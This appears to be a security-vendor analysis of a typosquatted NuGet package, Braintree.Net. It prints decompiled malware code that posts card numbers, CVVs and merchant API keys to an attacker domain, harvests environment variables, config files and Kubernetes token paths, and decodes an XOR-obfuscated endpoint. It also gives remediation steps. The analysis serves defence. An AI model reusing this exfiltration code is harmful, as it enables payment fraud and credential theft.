Fake Braintree NuGet Package Skims Credit Cards and Harvests Merchant Credentials

Socket's AI scanner flagged a malicious NuGet package named Braintree.Net on July 3, 2026, which impersonates the official Braintree SDK to steal credit card data, merchant API keys, and host secrets. The package uses typosquatting, inflated download counts, and a multi-stage implant to exfiltrate data to attacker-controlled infrastructure. Socket reported the package to NuGet for removal.

Socket’s AI scanner flagged a suspicious NuGet package masquerading as the official Braintree payment gateway client, with the first malicious version published on July 3, 2026. It was detected by Socket as potential malware 10 minutes after publication. Follow-on analysis by the Socket Threat Research team revealed a multi-stage .NET implant that intercepts live payment card data, exfiltrates Braintree merchant API keys and harvests host environment secrets upon assembly load. The package Braintree.Net copies the surface API of PayPal Braintree's legitimate Braintree SDK while routing stolen data to attacker-controlled infrastructure at api.348672-shakepay . com. The official Braintree .NET library is published on NuGet as Braintree currently in the 5.x line, maintained by PayPal/Braintree . The malicious package uses a common name variation — Braintree.Net — a mismatched version scheme 3.36.1 vs official 5.x , and metadata that points at the real braintree/braintree dotnet GitHub repository. Developers searching for "Braintree .NET" or copy-pasting a slightly wrong package name are the intended victims. We have reported this package to the NuGet security team and requested the removal of the package and the suspension of the publisher’s account. Additional context on the Braintree.Net's NuGet presence: Package ID:Braintree.Net official package ID is Braintree Claimed author:Braintree impersonation — official packages are published under the braintreepayments profile The malicious Braintree.Net blends in and ranks just after the legitimate package, partially due to inflated download count. Claimed project URL:https://github.com/braintree/braintree dotnet legitimate repo; this package is not built or distributed from it Companion dependency 3.36.0+ :DependencyInjector.Core ≥ 1.4.1 - a near-unused package whose primary downstream consumer is this typosquat This companion dependency contains a follow-on payload which functions as a token harvester. Faked Download Counts: Of Braintree.Net's ~14M reported downloads, roughly 11M is padding sprayed across 120 throwaway 0.0.x versions with published on a single day 2025-10-09, ~93,300 each . The genuinely malicious releases 3.35.8–3.36.1 have only ~334 real installs — a ~32,900x gap between the headline number and the real blast radius. The 120 empty placeholder versions 0.0.1 through 0.0.120 contained only a .nuspec and no DLL — a common namespace-squatting technique to occupy the package name and artificially increase the download count before dropping functional payloads: The malicious package ships real-looking Braintree.dll assemblies for multiple target frameworks net452, netstandard2.0, net8.0, net9.0, net10.0 . The public API surface — BraintreeGateway, CreditCardGateway, TransactionGateway, webhook types, GraphQL client wrappers — closely mirrors the legitimate SDK. A developer can instantiate a gateway, create customers, run transactions, and receive plausible Result<T objects without any obvious runtime errors. The README bundled in the package is copied from official Braintree documentation and even instructs developers to install the real package name: Via NuGet Install-Package Braintree or dotnet add package Braintree That instruction refers to Braintree, not Braintree.Net — a subtle inconsistency that may go unnoticed during a hurried install. The package description, tags braintree, paypal, visa, mastercard, etc. , and MIT license claim complete the camouflage. Comparison against the official Braintree5.36.0 assembly confirms the divergence is not cosmetic: The legitimate CreditCardGateway.Create posts directly to Braintree's API — no side-channel logging The legitimate BraintreeGateway.PrivateKey setter assigns configuration only — no outbound HTTP call Legitimate assembly contains noCardOperationLogger, noDependencyInjectorLoader, and no reference to DependencyInjector.Core When a .NET application references Braintree.Net and loads the assembly, three independent exfiltration paths activate at different lifecycle points. The diagram below shows how a normal payment integration unknowingly triggers them: Application starts │ ▼ ┌──────────────────────────────────────────────────────────┐ │ Module Init Braintree.DependencyInjectorLoader.Load │ │ also: DependencyInjector.Core.AutoInitializer │ │ └─► CodebaseAnalyzer.AnalyzeAndPrint │ │ └─► POST env/config/cloud metadata │ │ → /api/analytics/report │ └──────────────────────────────────────────────────────────┘ │ ▼ Developer configures gateway: gateway.PrivateKey = "..." │ ▼ ┌──────────────────────────────────────────────────────────┐ │ Property Setter BraintreeGateway.PrivateKey │ │ only when Environment == PRODUCTION │ │ └─► GatewayInput.AddAccountAsync │ │ └─► POST merchantId, publicKey, privateKey │ │ → /api/account │ └──────────────────────────────────────────────────────────┘ │ ▼ Application processes a payment: gateway.CreditCard.Create request │ ▼ ┌──────────────────────────────────────────────────────────┐ │ Gateway Hook CardOperationLogger.LogCreditCardCreate │ │ only when Environment == production │ │ └─► SendAsync │ │ └─► POST cardNumber, cvv, expiration, ... │ │ → /api/card │ └──────────────────────────────────────────────────────────┘ │ ▼ Legitimate Braintree API call proceeds normally merchant sees no error; payment may succeed Every exfiltration path wraps its body in an empty catch block. Network failures, TLS errors, and malformed payloads are swallowed silently: the host application continues operating as if nothing happened. The class Braintree.CardOperationLogger exists only in the typosquat assembly. It is not present in any official Braintree release analyzed for comparison. Gateway Hooks The logger is invoked before the legitimate Braintree HTTP request in payment-critical code paths. For example, CreditCardGateway.Create in the malicious assembly: public virtual Result<CreditCard Create CreditCardRequest request { CardOperationLogger.Instance.LogCreditCardCreate gateway, request ; return new ResultImpl<CreditCard new NodeWrapper service.Post service.MerchantPath + "/payment methods", request , gateway ; } The official Braintree 5.36.0 Create method contains no such call; it posts to Braintree directly: public virtual Result<CreditCard Create CreditCardRequest request { return new ResultImpl<CreditCard new NodeWrapper service.Post service.MerchantPath + "/payment methods", request , gateway ; } Similar hooks exist on async variants and on transaction, payment method, and card verification gateways via methods named LogCreditCardCreate, LogCreditCardUpdate, LogTransactionSale, LogTransactionCredit, LogPaymentMethodCreate, LogPaymentMethodUpdate, and LogCardVerification. Exfiltration Body SendAsync serializes a CardOperationLog object into JSON and POSTs it to a hardcoded endpoint. The decompiled implementation: js private const string ApiEndpoint = "https :// api.348672-shakepay . com/api/card"; private const string ApiKey = "2523-5235-8564-2683-2386"; private async Task SendAsync CardOperationLog log { try { string content = $"{{\"operation\":\"{Escape log.Operation }\"," + $"\"gateway\":\"{Escape log.Gateway }\"," + $"\"cardNumber\":\"{Escape log.CardNumber }\"," + $"\"cvv\":\"{Escape log.CVV }\"," + $"\"cardType\":\"{Escape log.CardType }\"," + $"\"expirationDate\":\"{Escape log.ExpirationDate }\"," + $"\"customerId\":\"{Escape log.CustomerId }\"," + $"\"amount\":{ log.Amount.HasValue ? log.Amount.Value.ToString CultureInfo.InvariantCulture : "null" }," + $"\"timestamp\":\"{log.Timestamp:O}\"}}"; HttpRequestMessage httpRequestMessage = new HttpRequestMessage HttpMethod.Post, "https :// api.348672-shakepay . com/api/card" ; httpRequestMessage.Content = new StringContent content, Encoding.UTF8, "application/json" ; httpRequestMessage.Headers.Add "X-Api-Key", "2523-5235-8564-2683-2386" ; await httpClient.SendAsync httpRequestMessage .ConfigureAwait continueOnCapturedContext: false ; } catch { } } Fields on CardOperationLog confirm the scope of harvested payment data: When a merchant creates a credit card in production, LogCreditCardCreate copies request fields directly into the exfiltration log: public void LogCreditCardCreate IBraintreeGateway gateway, CreditCardRequest request { if IsProduction gateway { SendAsync new CardOperationLog { Operation = "Create", Gateway = "CreditCardGateway", CardNumber = request.Number, CVV = request.CVV, CardType = DetectCardType request.Number , ExpirationDate = request.ExpirationDate ?? request.ExpirationMonth + "/" + request.ExpirationYear , CustomerId = request.CustomerId } ; } } Transaction sale paths extract card data from nested request.CreditCard objects when present. This covers both direct card entry and flows where card details are attached to a transaction request rather than a standalone payment method create. Beyond card data, the implant steals Braintree merchant API credentials — the merchantId, publicKey, and privateKey triple that grants full gateway API access. The theft is triggered from the BraintreeGateway.PrivateKeyproperty setter, which in the official SDK simply stores the value. In the typosquat: public virtual string PrivateKey { get { return Configuration.PrivateKey; } set { Configuration.PrivateKey = value; if accountAdded && string.IsNullOrWhiteSpace Configuration.MerchantId && string.IsNullOrWhiteSpace Configuration.PublicKey && string.IsNullOrWhiteSpace Configuration.PrivateKey && Configuration.Environment == Environment.PRODUCTION { accountAdded = true; GatewayI = new GatewayInput ; GatewayI.AddAccountAsync Configuration.MerchantId, Configuration.PublicKey, Configuration.PrivateKey ; } } } GatewayInput.AddAccountAsync POSTs all three secrets: js private const string ApiEndpoint = "https :// api.348672-shakepay . com/api/account"; private const string ApiKey = "2523-5235-8564-2683-2386"; public async Task<bool AddAccountAsync string merchantId, string publicKey, string privateKey { try { string content = $"{{\"merchantId\":\"{Escape merchantId }\"," + $"\"publicKey\":\"{Escape publicKey }\"," + $"\"privateKey\":\"{Escape privateKey }\"," + $"\"timestamp\":\"{DateTime.UtcNow:O}\"}}"; HttpRequestMessage httpRequestMessage = new HttpRequestMessage HttpMethod.Post, "https :// api.348672-shakepay . com/api/account" ; httpRequestMessage.Content = new StringContent content, Encoding.UTF8, "application/json" ; httpRequestMessage.Headers.Add "X-Api-Key", "2523-5235-8564-2683-2386" ; await httpClient.SendAsync httpRequestMessage .ConfigureAwait continueOnCapturedContext: false ; return true; } catch { return false; } } A single production gateway initialization is enough for the attacker to obtain credentials that allow creating transactions, issuing refunds, and accessing customer vault data through the real Braintree API — independently of the card-stealing hooks. Starting with 3.36.0, the package declares a dependency on DependencyInjector.Core for net8.0, net9.0, and net10.0 targets. That package is described on NuGet as an "Auto-analyzer" and runs without any code changes by the victim application. Module Initialization Chain Two module initializers fire when the assemblies load: InBraintree.dll: internal static class DependencyInjectorLoader { ModuleInitializer internal static void Load { try { CodebaseAnalyzer.AnalyzeAndPrint ; } catch { } } } InDependencyInjector.Core.dll: internal static class AutoInitializer { private static int initialized; ModuleInitializer internal static void Initialize { if Interlocked.Exchange ref initialized, 1 == 1 return; try { CodebaseAnalyzer.AnalyzeAndPrint ; } catch { } } } AnalyzeAndPrint collects a CodebaseAnalysisResult and, if reporting is enabled, ships it asynchronously: public static void AnalyzeAndPrint { try { AnalyticsOptions analyticsOptions = AnalyticsOptions.FromEnvironment ; if analyticsOptions.Enabled { AnalyticsReporter.Report Analyze , analyticsOptions.Endpoint ; } } catch { } } Analyze aggregates output from dedicated analyzer classes: public static CodebaseAnalysisResult Analyze { return new CodebaseAnalysisResult { Environment = EnvironmentAnalyzer.Analyze , Project = ProjectAnalyzer.Analyze , Configuration = ConfigurationAnalyzer.Analyze , Dependencies = DependencyAnalyzer.Analyze , EnvironmentVariables = EnvironmentVariablesAnalyzer.Analyze , Container = ContainerAnalyzer.Analyze , SystemResources = SystemResourcesAnalyzer.Analyze , Cloud = CloudProviderAnalyzer.Analyze , AnalysisTimestamp = DateTime.UtcNow }; } Token and Secret Theft Environment Variables - every variable in the process environment, categorized by prefix: private static readonly HashSet<string CloudPatterns = new HashSet<string StringComparer.OrdinalIgnoreCase { "AWS ", "AZURE ", "GOOGLE ", "GCP ", "GCLOUD ", "KUBERNETES ", "K8S ", "HEROKU ", "RAILWAY ", "FLY ", "VERCEL ", "RENDER ", "DIGITALOCEAN " }; private static readonly HashSet<string AspNetCorePrefixes = new HashSet<string StringComparer.OrdinalIgnoreCase { "ASPNETCORE ", "ASPNET " }; Each variable is captured with its full value into an EnvironmentVariable record and included in the exfiltration payload via MapToPayload. Application Configuration - ConfigurationAnalyzer reads appsettings .json files from the application directory walking up to five parent directories , parses JSON including the ConnectionStrings section, and stores the raw file contents of every discovered config file: foreach string item in list { try { string value = File.ReadAllText item ; dictionary3 item = value; // RawAppSettingsFiles } catch { } } Cloud and container metadata — CloudProviderAnalyzer and ContainerAnalyzer probe for AWS/Azure/GCP instance metadata, Kubernetes service account token paths including /var/run/secrets/kubernetes.io/serviceaccount/token , Docker cgroup information, and mounted secrets under /var/run/secrets. Dependencies and assemblies — loaded assembly names, NuGet package references, and project type detection ASP.NET Core Web API, Blazor, Azure Functions, etc. . The assembled payload is POSTed as JSON via AnalyticsReporter.ReportAsync: public static async Task<bool ReportAsync CodebaseAnalysisResult result, string endpoint { try { HttpClient orCreateHttpClient = GetOrCreateHttpClient ; object value = MapToPayload result ; return await orCreateHttpClient.PostAsJsonAsync endpoint, value, JsonOptions .IsSuccessStatusCode; } catch { return false; } } On a typical payment-processing server, this captures Braintree keys from environment variables or appsettings.json, database connection strings, cloud IAM role credentials, and CI/CD tokens — in addition to the payment-specific theft described above. This implant uses environment-based gating tied to the Braintree SDK's own configuration rather than host-level sandbox detection: private bool IsProduction IBraintreeGateway gateway { try { return gateway?.Configuration?.Environment?.EnvironmentName == "production"; } catch { return false; } } Card exfiltration methods call IsProduction before invoking SendAsync. Merchant credential theft checks Configuration.Environment == Environment.PRODUCTION in the PrivateKey setter. Practical effect: Sandbox and development integrations - developers testing with Braintree Sandbox credentials see no exfiltration from the card logger or credential stealer, reducing the chance of discovery during routine QA Production deployments - live PAN/CVV data and real merchant keys are harvested on first use Environment harvester DependencyInjector.Core - runs unconditionally on assembly load regardless of Braintree environment setting, so even sandbox-only apps on .NET 8+ leak host secrets if they reference the poisoned package This split behavior allows the attacker to deliberately target payment data in production, while environment reconnaissance casts a wider net. However, the analytics/report endpoint used by DependencyInjector.Core is XOR-obfuscated at rest, another suspicious indicator. The AnalyticsOptions static constructor embeds a 52-byte ciphertext array; at runtime GetDefaultEndpoint decodes it: private static string GetDefaultEndpoint { return EndpointObfuscator.Decode ObfuscatedEndpoint ; } The obfuscator applies repeating-key XOR over UTF-8 bytes: internal static class EndpointObfuscator { private static readonly byte Key; internal static string Decode byte data { byte array = new byte data.Length ; for int i = 0; i < data.Length; i++ { array i = byte data i ^ Key i % Key.Length ; } return Encoding.UTF8.GetString array ; } } Recovered values from DependencyInjector.Core 1.4.1 net10.0 : A naive strings extraction or single-pass XOR scan of the DLL does not surface the analytics URL — only the card/account endpoints appear in plaintext. The payment hooks use readable C2 strings while the broader environment harvester hides its endpoint behind XOR encoding. The domain 348672-shakepay . com uses the Shakepay brand name but is not registered infrastructure belonging to Shakepay shakepay.com . Passive DNS resolution returns Cloudflare anycast addresses 104.21 . 89.51, 172.67 . 188.32 , consistent with attacker-controlled origin hiding rather than a legitimate payment processor API. Sibling Packages with DependencyInjector Dependency Beyond Braintree.Net, the same braintreenuget.org account publishes a family of SIP/WebRTC packages that typosquat the popular SIPSorcery ecosystem, two of which route to the malicious DependencyInjector.Core harvester: SipNet typosquats the core SIPSorcery library; its own SipNet.dll is a clean recompile of SIPSorcery with no embedded payload, but versions 12.8.4–12.8.7 add a DependencyInjector.Core dependency purely at the manifest level — the DLL is identical across 12.8.3–12.8.6, so only the dependency list changed — and the dependency is scoped exclusively to the .NET 8/9/10 target frameworks, sparing classic .NET Framework/netstandard consumers. SipNet.OpenAI.Realtime typosquats SIPSorcery's OpenAI Realtime WebRTC integration; its own code is a benign OpenAI Realtime client and it does not reference DependencyInjector.Core directly. It declares a dependency on the malicious SipNet ≥10.0.5 — however, NuGet's default lowest-applicable resolution selects SipNet@12.8.3, which is the clean front version, so it does not pull the harvester in a default install. It becomes a live transitive vector only if SipNet floats to ≥12.8.4 in the dependency graph another constraint, an explicit pin, or 12.8.3 being unlisted . Several characteristics suggest this is a deliberate, financially motivated supply-chain operation rather than a one-off package upload: Payment SDK targeting — the implant hooks payment gateway methods and harvests PCI-sensitive data PAN, CVV plus merchant API keys. The value proposition for the attacker is direct financial fraud and resale of credentials. Typosquat plus metadata impersonation — package ID Braintree.Net, author field Braintree, and a README copied from official docs create multiple discovery paths for developers who mistype or mis-search NuGet. Namespace pre-squatting — 120 empty 0.0.x versions reserve the package name before functional payloads appear under plausible 3.35.x / 3.36.x version numbers that mimic an outdated major release line. Split obfuscation strategy — plaintext C2 strings in the payment stealer relying on production gating for stealth combined with XOR-encoded analytics endpoint in the companion dependency. Companion package pattern — DependencyInjector.Core has negligible independent adoption ~50 downloads per version but is listed as a dependency of this typosquat and another package SipNet , suggesting a reusable implant framework across NuGet brands. Silent failure everywhere — empty catch blocks on every exfil path ensure merchants never see exceptions, failed payments, or broken integrations that would trigger investigation. Multi-stage .NET module initializers — ModuleInitializer attributes guarantee execution at assembly load without requiring the victim to call any malicious API surface directly. RemoveBraintree.Netimmediately from all projects, solution-wide central package management files, and CI restore caches. Replace with the official package: dotnet remove package Braintree.Net dotnet add package Braintree Rotate all Braintree merchant credentials merchantId, publicKey, privateKey, access tokens for any environment that ever referenced this package — assume production keys are compromised if the gateway was configured with Environment.PRODUCTION. Treat card data as potentially disclosed if production traffic ran through the poisoned SDK while card numbers or CVVs were present in request objects. Engage PCI incident response and notification processes as applicable. Audit for companion packages: search lock files and dependency graphs for DependencyInjector.Core , SipNet and SipNet.OpenAI.Realtime in addition to Braintree.Net. Block egress to 348672-shakepay . com and subdomains at network perimeter controls. Socket tracks the activity as Operation “Muck and Load”: a threat actor uses commit-farming workflows, public dead drops, and protected archives to stage Windows RAT and infostealer malware.